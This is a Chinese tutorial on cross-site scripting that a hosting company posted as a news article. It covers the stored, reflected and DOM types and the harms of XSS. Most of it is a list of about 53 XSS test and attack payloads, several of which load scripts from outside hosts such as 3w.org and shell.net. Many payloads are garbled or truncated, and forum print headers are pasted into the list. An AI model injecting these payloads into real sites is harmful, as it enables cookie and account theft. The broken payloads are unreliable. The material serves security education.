行业动态

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
网络安全之从原理看懂XSS
2022-12-09 13:18:00 【

   01、XSS的原理和分类

   跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆

   故将跨站脚本攻击缩写为XSS,恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的,XSS攻击针对的是用户层面的攻击;

   XSS分为:存储型,反射型,DOM型XSS

存储型XSS:存储型XSS,持久化,代码是存储在服务器中,如在个人信息或发表文章等地方,插入代码,如果没有过滤或者过滤不严,那么这些代码将储存到数据库中,用户访问该页面的时候出发代码执行,这种XSS比较危险,容易造成蠕虫,盗取Cookie;

   反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面,反射性XSS大多数是用来盗取用户的Cookie信息;

   DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Object Model ,DOM)的一种漏洞,DOM-XSS是用过url传入参数取控制触发的,其实也属于反射型XSS,DOM的详解:DOM文档对象模型;

   可能触发DOM型XSS的属性

   

       document.referer
               window.name
               location
               innerHTML
               documen.write
   

   02、XSS攻击的危害

   1、盗取各类用户账号,如机器登陆账号,用户网银账号,各类管理员账号;
       2、控制企业数据,包括读取,篡改,添加,删除企业敏感数据的能力;
       3、盗取企业重要的具有商业价值的资料;
       4、非法转账;
       5、强制发送电子邮件;
       6、网站挂马;
       7、控制受害者机器向其他网站发起攻击;

   03、XSS的测试语句

   在网站是否存在XSS漏洞时,应该输入一些标签,如<,>输入后查看网页源代码是否过滤标签,如果没有过滤,很大可能存在XSS漏洞。

   常用测试语句:
   
<h5>1</h5>

       

       
   

   <span>1</span>

       

       
   

   可以看到,网站并没有对标签进行过滤;
   
<script>console.log(1);</script>

       

       
   

   可以看到,并没有弹出,但是控制台上输出了1,我们可以确定,确实存在XSS;

   闭合问题:很多时候,在测试XSS的时候,想要要考虑到闭合问题,我们首先查看网页的源代码,需要首先判断出来,网站用的时单引号闭合还是双引号闭合;

   "><span>x</span><"

   '><span>x</span><'

   单行注释:

   "><span>x</span>//#双斜杠表示注释掉后面的语句

   0x04、XSS攻击语句

   输入检测确定标签没有过滤,为了显示漏洞存在,需要插入XSS攻击代码;

<script>alert(1)</script><svgonload=alert(1)><ahref=java script:alert(1)><ahref='java script:alert(1)'>aa</a>

   (1)普通的 XSS java script 注入
   
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
   (2)IMG 标签 XSS 使用 java script 命令
   <IMG SRC=http://3w.org/XSS/xss.js/>
   (3)IMG 标签无分号无引号
   <IMG SRC=java script:alert('XSS')>
   (4)IMG 标签大小写不敏感
   <IMG SRC=java script:alert('XSS')>
   (5)HTML 编码(必须有分号)
   <IMG SRC=java script:alert("XSS")>
   (6)修正缺陷 IMG 标签
   <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
   (7)formCharCode 标签(计算器)
   <IMG SRC=java script:alert(String.fromCharCode(88,83,83))>
   (8)UTF-8 的 Unicode 编码(计算器)
   <IMG SRC=jav..省略..S')>
   (9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
   <IMG SRC=jav..省略..S')>
   (10)十六进制编码也是没有分号(计算器)
   <IMG SRC=java..省略..XSS')>
   (11)嵌入式标签,将 java script 分开
   <IMG SRC="jav ascript:alert('XSS');">
   (12)嵌入式编码标签,将 java script 分开
   <IMG SRC="jav ascript:alert('XSS');">
   (13)嵌入式换行符
   <IMG SRC="jav ascript:alert('XSS');">
   (14)嵌入式回车
   <IMG SRC="jav ascript:alert('XSS');">
   (15)嵌入式多行注入 java script,这是 XSS 极端的例子
   <IMG SRC="java script:alert('XSS')">
   (16)解决限制字符(要求同页面)

<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+'src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eva l_r(z)</script>

   (17)空字符 12-7-1 T00LS - Powered by Discuz! Board
   

       http://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl-e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

   (18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用
   perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out
   (19)Spaces 和 meta 前的 IMG 标签
   <IMG SRC=" java script:alert('XSS');">
   (20)Non-alpha-non-digit XSS
   <SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>
   (21)Non-alpha-non-digit XSS to 2

<BODYonload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

   (22)Non-alpha-non-digit XSS to 3
   
<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>
   (23)双开括号
   <<SCRIPT>alert("XSS");//<</SCRIPT>
   (24)无结束脚本标记(仅火狐等浏览器)
   <SCRIPT
       SRChttp://3w.org/XSS/xss.js?<B>

   (25)无结束脚本标记 2
   <SCRIPT SRC=//3w.org/XSS/xss.js>
   (26)半开的 HTML/java script XSS
   <IMG SRC="java script:alert('XSS')"
   (27)双开角括号
   <iframe src=http://3w.org/XSS.html <
   (28)无单引号 双引号 分号
   <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
   (29)换码过滤的 java script
   \";alert('XSS');//
   (30)结束 Title 标签
   </TITLE><SCRIPT>alert("XSS");</SCRIPT>
   (31)Input Image
   <INPUT SRC="java script:alert('XSS');">
   (32)BODY Image
   <BODY BACKGROUND="java script:alert('XSS')">
   (33)BODY 标签
   <BODY('XSS')>
   (34)IMG Dynsrc
   <IMG DYNSRC="java script:alert('XSS')">
   (35)IMG Lowsrc
   <IMG LOWSRC="java script:alert('XSS')">
   (36)BGSOUND
   <BGSOUND SRC="java script:alert('XSS');">
   (37)STYLE sheet
   <LINK REL="stylesheet" HREF="java script:alert('XSS');">
   (38)远程样式表
   <LINK REL="stylesheet" HREF="http://3w.org/xss.css">
   (39)List-style-image(列表式)
   <STYLE>li {list-style-image: url("java script:alert('XSS')");}</STYLE<UL><LI>XSS
   (40)IMG VBscript
   <IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS
   (41)META 链接 url
   <META HTTP-EQUIV="refresh" CONTENT="0;URL=http://URL=java script:alert('XSS');">
   (42)Iframe
   <IFRAME SRC="java script:alert('XSS');"></IFRAME>
   (43)Frame

<FRAMESET><FRAMESRC="java script:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz!Boardhttp://www.a.com/viewthread.php?action=printable&tid=15267 3/6

   (44)Table
   
<TABLE BACKGROUND="java script:alert('XSS')">
   (45)TD
   <TABLE><TD BACKGROUND="java script:alert('XSS')">
   (46)DIV background-image
   <DIV STYLE="background-image: url(java script:alert('XSS'))">
   (47)DIV background-image 后加上额外字符
   (1-32&34&39&160&8192-8&13&12288&65279) **<DIV STYLE="background-image: url(java script:alert('XSS'))">**
   (48)DIV expression
   <DIV STYLE="width: expression_r(alert('XSS'));">
   (49)STYLE 属性分拆表达
   <IMG STYLE="xss:expression_r(alert('XSS'))">
   (50)匿名 STYLE(组成:开角号和一个字母开头)
   <XSS STYLE="xss:expression_r(alert('XSS'))">
   (51)STYLE background-image
   <STYLE>.XSS{background-image:url("java script:alert('XSS')");}</STYLE><ACLASS=XSS></A>
   (52)IMG STYLE 方式
   exppression(alert("XSS"))'>
   (53)STYLE background

   

】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇Vice Society勒索软件一年血洗33.. 下一篇提高网速的服务器会不会不安全小..

立足首都,辐射全球,防御吧专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
E-Mail:800@fangyuba.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解决防御与加速) 版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800